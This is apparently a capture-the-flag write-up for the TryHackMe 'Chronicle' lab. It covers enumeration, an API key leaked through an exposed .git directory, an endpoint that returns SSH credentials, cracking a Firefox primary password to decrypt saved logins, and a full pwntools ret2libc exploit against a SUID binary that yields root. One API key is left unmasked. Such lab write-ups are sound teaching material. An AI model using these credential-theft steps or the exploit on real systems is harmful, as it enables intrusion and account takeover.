THM Chronicle
This is a Linux machine with ssh and two different web services enabled. One of the web services had
an API vulnerability that could leak user credentials (though it required a key). Coincidentally,
another service had a source code disclosure vulnerability. We found the required key in the Git
logs, thereby obtaining SSH login credentials.
Subsequently, by decrypting Firefox browser data, we acquired credentials for another user for
lateral movement.
Within their home directory, we discovered a SUID program with a buffer overflow vulnerability and
weak security protections. We exploited this using ret2libc to gain root privilege.
Summary
Scope
- Name: Chronicle
- Difficulty: Medium
- OS: Linux
- IP: 10.48.136.166
Learned
- The webpage source code and Javascript may contain API endpoints that require our attension.
- When enumerating web directories, be mindful of common version control directories.
- Credentials may be stored in the browser profile within the user's home directory.
- During privilege escalation, SUID and sudo rules must be considered first.
Enumeration
Nmap
As I memtioned earlier, I will scan the target host in four main stages.
Overall
nmap -sT --min-rate 5000 -oN overall [IP]
Host is up (0.27s latency). Not shown: 984 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8081/tcp open blackice-icecap
Detail
nmap -sC -sV -O -vv -p22,80,8081 -oN detail [IP]
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b2:4c:49:da:7c:9a:3a:ba:6e:59:46:c2:a9:e6:a2:35 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDELanAivcbXHH+RqBWDQUmT0TJPTzxJ4XOLkZ4hQYAYCUXQ25C24k6ijW6MnKiImF9m9CoMdlzXIAC/DYArGJu+q5L68V1SAaqtS5YljXGb517Qi4ixekjaLua9Z+Du00c0nGWC46WA+JCjI6UP8FlTyNONXJ4Wv8T7ZA6T8rTrWZWd6dSTIKaZaN8fsD31cIJMuX2whX8IczzwzFuxp2ucPLJ0IwpoiX3ubuqUz4kkNi8FI5T2hweqqygLPmdA8AySZrIbmC4AusmmHwSf99aUHXjZ5Z6fHbHAwH0dsGDFaDvHuVFEp4l1h9TpZiKghUllDx9+6eRyKprJMpfvXZ1 | 256 7a:3e:30:70:cf:32:a4:f2:0a:cb:2b:42:08:0c:19:bd (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPxb2LHHqkJNa+RUETb+7kg2rLKG3IxkiOZnG3YP7R5hd2KqQC1eJL1UyHcBKdOYrFllM43rkqfDVSxtm2f/ivc= | 256 4f:35:e1:33:96:84:5d:e5:b3:75:7d:d8:32:18:e0:a8 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPwYIfNblUpR0Hf/77s33mZq1OUXZD4jQacBQBwiLapr 80/tcp open http syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) 8081/tcp open http syn-ack ttl 62 Werkzeug httpd 1.0.1 (Python 3.6.9) |_http-server-header: Werkzeug/1.0.1 Python/3.6.9 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-title: Site doesn't have a title (text/html; charset=utf-8). Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (96%), Google Android 10.X|11.X|12.X (93%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:google:android:10 cpe:/o:google:android:11 cpe:/o:google:android:12 cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (95%), Linux 5.4 (95%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 10 - 11 (Linux 4.14) (92%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.98%E=4%D=1/20%OT=22%CT=%CU=32384%PV=Y%DS=3%DC=I%G=N%TM=696F1DF7%P=arm-apple-darwin24.4.0) SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A) SEQ(SP=FF%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A) OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11) WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3) ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=Y%Q=) T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE(R=Y%DFI=N%T=40%CD=S)
UDPScan
nmap -sU --top-port 20 -oN UDPScan [IP]
Host is up (0.27s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp closed netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp open|filtered isakmp 514/udp closed syslog 520/udp closed route 631/udp closed ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown
VulnScan (optional)
nmap --script=vuln -p22,80,8081 -oN vulnscan [IP]
Vulnerability scanning will execute Nmap's default service scripts for the specified ports.
$ ls /usr/share/nmap/scripts acarsd-info.nse hostmap-robtex.nse ip-geolocation-map-kml.nse rsync-brute.nse address-info.nse http-adobe-coldfusion-apsa1301.nse ip-geolocation-maxmind.nse rsync-list-modules.nse afp-brute.nse http-affiliate-id.nse ip-https-discover.nse rtsp-methods.nse afp-ls.nse http-apache-negotiation.nse ipidseq.nse rtsp-url-brute.nse afp-path-vuln.nse http-apache-server-status.nse ipmi-brute.nse rusers.nse afp-serverinfo.nse http-aspnet-debug.nse ipmi-cipher-zero.nse s7-info.nse afp-showmount.nse http-auth-finder.nse ipmi-version.nse samba-vuln-cve-2012-1182.nse ajp-auth.nse http-auth.nse ipv6-multicast-mld-list.nse script.db ajp-brute.nse http-avaya-ipoffice-users.nse ipv6-node-info.nse servicetags.nse ajp-headers.nse http-awstatstotals-exec.nse ipv6-ra-flood.nse shodan-api.nse ajp-methods.nse http-axis2-dir-traversal.nse irc-botnet-channels.nse sip-brute.nse ajp-request.nse http-backup-finder.nse irc-brute.nse sip-call-spoof.nse allseeingeye-info.nse http-barracuda-dir-traversal.nse irc-info.nse sip-enum-users.nse amqp-info.nse http-bigip-cookie.nse irc-sasl-brute.nse sip-methods.nse
Fuzz (API vuln)
We know there are two different web services with that machine. Let's explore the front-end pages and see if there's anything worth noting.

And we discovered that the login functionality is not implmented but /forgot endpoint is accessible.

Nice, but we don't know what the correct key is!
$ curl -X POST -d '{"key": "NULL"}' 'http://10.48.136.166:8081/api/admin'
Invalid API KeySource code Disclosure
Let's goto another web service.

Nothing seems particularly interesting. So we should consider to enumerate it.
$ gobuster dir -u http://10.48.136.166/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.136.166/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 278]
.htaccess (Status: 403) [Size: 278]
.htpasswd (Status: 403) [Size: 278]
index.html (Status: 200) [Size: 15]
old (Status: 301) [Size: 312] [--> http://10.48.136.166/old/]
server-status (Status: 403) [Size: 278]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
Oh, there're something interesting leak to us. It hints us that webapp has been moved to new
directory, may be this original not cleanup properly.

Let's fuzz it.
$ gobuster dir -u http://10.48.136.166/old/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.136.166/old/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.git/HEAD (Status: 200) [Size: 23]
.htaccess (Status: 403) [Size: 278]
.hta (Status: 403) [Size: 278]
.htpasswd (Status: 403) [Size: 278]
Progress: 181 / 4613 (3.92%)^CYeah, It did not clean up the .git directory! We can download it with wget --recursive --continue
http://10.48.136.166:80/old/.git. Then we can show the detail git log with git log -p and we will
found this:
commit 33891017aa63726711585c0a2cd5e39a80cd60e6
Author: root <cirius@incognito.com>
Date: Fri Mar 26 22:34:33 2021 +0000
Finishing Things
diff --git a/app.py b/app.py
index 8c729fd..cbf47f5 100644
--- a/app.py
+++ b/app.py
@@ -22,11 +22,11 @@ def info(uname):
print("OK")
data=request.get_json(force=True)
print(data)
- if(data['key']=='abcd'):
+ if(data['key']=='74****************************ef'):
if(uname=="admin"):
- return '{"username":"admin","password":"password"}'
+ return '{"username":"admin","password":"password"}' #Default Change them as required
elif(uname=="someone"):
- return '{"username":"someone","password":"someword"}'
+ return '{"username":"someone","password":"someword"}' #Some other user
else:
return 'Invalid Username'
else:
Maybe that's the key!!
$ curl -X POST -d '{"key": "74****************************ef"}' 'http://10.48.136.166:8081/api/admin'
Invalid UsernameGood! Now we have the correct key and we want to fuzz what user info we can get from this API endpoint. ffuf will help us.
$ ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d '{"key": "7454c262d0d5a3a0c0b678d6c0dbc7ef"}' -u 'http://10.48.136.166:8081/api/FUZZ' -fw 2
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.48.136.166:8081/api/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
:: Data : {"key": "7454c262d0d5a3a0c0b678d6c0dbc7ef"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 2
________________________________________________
tommy [Status: 200, Size: 49, Words: 1, Lines: 1, Duration: 410ms]
:: Progress: [10713/10713] :: Job [1/1] :: 55 req/sec :: Duration: [0:05:02] :: Errors: 0 ::
The user tommy stands out. Let's see what the response that API will return.
$ curl -X POST -d '{"key": "74****************************ef"}' 'http://10.48.136.166:8081/api/tommy'
{"username":"tommy","password":"Dev***********1"}Foothold
Now, Let's SSH with that credential.
$ ssh tommy@10.48.136.166
The authenticity of host '10.48.136.166 (10.48.136.166)' can't be established.
ED25519 key fingerprint is: SHA256:B60EpPl2+Wzi63sLsxMDA4mwQ4W1Rc98XeO/0rlYvCM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.136.166' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
tommy@10.48.136.166's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jan 20 07:14:44 UTC 2026
System load: 0.01 Processes: 105
Usage of /: 60.8% of 8.79GB Users logged in: 0
Memory usage: 13% IP address for ens5: 10.48.136.166
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
73 packages can be updated.
1 update is a security update.
*** System restart required ***
Last login: Fri Apr 16 14:05:02 2021 from 192.168.29.217
tommy@incognito:~$
Yeah, we obtain the user credential.
tommy@incognito:~$ ls -al
total 44
drwxr-xr-x 7 tommy tommyV 4096 Jun 11 2021 .
drwxr-xr-x 4 root root 4096 Apr 3 2021 ..
lrwxrwxrwx 1 root root 9 Apr 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 tommy tommyV 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 tommy tommyV 3771 Apr 4 2018 .bashrc
drwx------ 2 tommy tommyV 4096 Apr 3 2021 .cache
drwxr-x--- 3 tommy tommyV 4096 Apr 3 2021 .config
drwx------ 4 tommy tommyV 4096 Apr 3 2021 .gnupg
drwxr-xr-x 3 tommy tommyV 4096 Apr 3 2021 .local
-rw-r--r-- 1 tommy tommyV 807 Apr 4 2018 .profile
-rw-r--r-- 1 tommy tommyV 33 Apr 3 2021 user.txt
drwxr-xr-x 5 tommy tommyV 4096 Apr 3 2021 web
tommy@incognito:~$ cat user.txt
7b****************************adPrivilege Escalation
First of all, let's check sudo rule and SUID programs.
tommy@incognito:~$ sudo -l
[sudo] password for tommy:
Sorry, user tommy may not run sudo on incognito.tommy@incognito:~$ find / -perm -u=s -user root -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/gpasswd
/bin/umount
/bin/ping
/bin/su
/bin/mount
/bin/fusermountUnfortunately, Neither of these approaches seems to work.
Lateral Movement
Since direct privilege escalation isn't feasible, we can attempt lateral movement to other privileges (users).
Here, we filter out users with login shells.
tommy@incognito:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
carlJ:x:1002:1002::/home/carlJ:/bin/bash
tommy:x:1001:1001::/home/tommyV:/bin/bash
There is a carlJ user with following home directory structure:
tommy@incognito:/home/carlJ$ ls -la
total 44
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 2021 .
drwxr-xr-x 4 root root 4096 Apr 3 2021 ..
lrwxrwxrwx 1 root root 9 Apr 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 carlJ carlJ 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 carlJ carlJ 3772 Mar 26 2021 .bashrc
drwx------ 4 carlJ carlJ 4096 Apr 3 2021 .cache
drwxr-x--- 3 carlJ carlJ 4096 Apr 3 2021 .config
drwx------ 3 carlJ carlJ 4096 Apr 3 2021 .gnupg
drwxrwxr-x 3 carlJ carlJ 4096 Apr 16 2021 .local
drwx------ 2 carlJ carlJ 4096 Apr 16 2021 mailing
drwxr-xr-x 5 carlJ carlJ 4096 Mar 28 2021 .mozilla
-rw-r--r-- 1 carlJ carlJ 808 Mar 26 2021 .profileWe notice that there are two interesting directories:
mailing: which only the user itself has permission forrwx, this make me think what contents of that directory..mozilla: this directory often used to store browser data like password, and there is github repo for this purpose firefox_decrypt
Password Extraction
$ python firefox_decrypt/firefox_decrypt.py firefox
Select the Mozilla profile you wish to decrypt
1 -> 45ir4czt.default
2 -> 0ryxwn4c.default-release
2
Primary Password for profile firefox/0ryxwn4c.default-release:
ERROR - Primary password is not correct
We need master password to decrypt it. The rockyou.txt wordlist will help us, write a script to find
the correct password.
$ ./decrypt.sh
correct password: p********
Select the Mozilla profile you wish to decrypt
1 -> 45ir4czt.default
2 -> 0ryxwn4c.default-release
Reading Primary password from standard input:
Website: https://incognito.com
Username: 'dev'
Password: 'Pa**********7'Ret2libc
When we escalate to user carlJ, we will notice that there is a SUID program in mailing directory:
tommy@incognito:/home/carlJ/.mozilla$ su carlJ
Password:
carlJ@incognito:~/.mozilla$ id
uid=1002(carlJ) gid=1002(carlJ) groups=1002(carlJ)
carlJ@incognito:~/mailing$ sudo -l
[sudo] password for carlJ:
Sorry, user carlJ may not run sudo on incognito.
carlJ@incognito:~/mailing$ ls -al
total 20
drwx------ 2 carlJ carlJ 4096 Apr 16 2021 .
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 2021 ..
-rwsrwxr-x 1 root root 8544 Apr 3 2021 smail
checksec this executable file we discovered that it had only enabled NX protection.
carlJ@incognito:~/mailing$ checksec smail
[*] '/home/carlJ/mailing/smail'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)Additionally, there is a buffer overflow vulnerability exist!
carlJ@incognito:~/mailing$ ./smail
What do you wanna do
1-Send Message
2-Change your Signature
2
Write your signature...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Changed
Segmentation fault (core dumped)
Until now, the first approach we should consider is ret2libc. Since we can obtain base address of libc
easily.
carlJ@incognito:~/mailing$ ldd smail
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)And we also need some gadgets for exploitation.
carlJ@incognito:~/mailing$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> hex(lib.symbols.system)
'0x4f550'
>>> hex(next(lib.search(b'/bin/sh')))
'0x1b3e1a'
>>> hex(rop.find_gadget(['pop rdi', 'ret'])[0])
'0x215bf'
Woo! The only thing we need is the padding of overflow which we can obtain with gdb and pwntools's cyclic.
carlJ@incognito:~/mailing$ cyclic 1000 > pattern
carlJ@incognito:~/mailing$ gdb ./smail
(gdb) r
Starting program: /home/carlJ/mailing/smail
What do you wanna do
1-Send Message
2-Change your Signature
2
Write your signature...
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
Changed
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006de in sig ()
(gdb) x/s $rsp
0x7fffffffe3d8: "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraac"...
(gdb) x/i $rip
=> 0x4006de <sig+39>: retq
Yeah, we will get the correct padding size with cyclic_find('saaa').
Here is the completely exploit scripts:
from pwn import *
context.binary = elf = ELF('./smail', checksec=False)
rop = ROP(elf)
poprdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
libc_base = 0x00007ffff79e2000
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
binsh = next(libc.search(b'/bin/sh')) + libc_base
system = libc.symbols.system + libc_base
log.info(f'binsh: {hex(binsh)}')
log.info(f'system: {hex(system)}')
payload = cyclic(cyclic_find('saaa'))
payload += p64(ret) # for alignment
payload += p64(poprdi_ret)
payload += p64(binsh)
payload += p64(system)
io = elf.process()
io.sendline(b'2')
io.sendline(payload)
io.interactive()Boom
Execute it will lead us to root.
carlJ@incognito:~/mailing$ python3 exp.py
[*] Loaded 14 cached gadgets for './smail'
[*] binsh: 0x7ffff7b95e1a
[*] system: 0x7ffff7a31550
[+] Starting local process '/home/carlJ/mailing/smail': pid 25490
[*] Switching to interactive mode
What do you wanna do
1-Send Message
2-Change your Signature
Write your signature...
Changed
$ id
uid=0(root) gid=1002(carlJ) groups=1002(carlJ)
$ cat /root/root.txt
f2****************************b2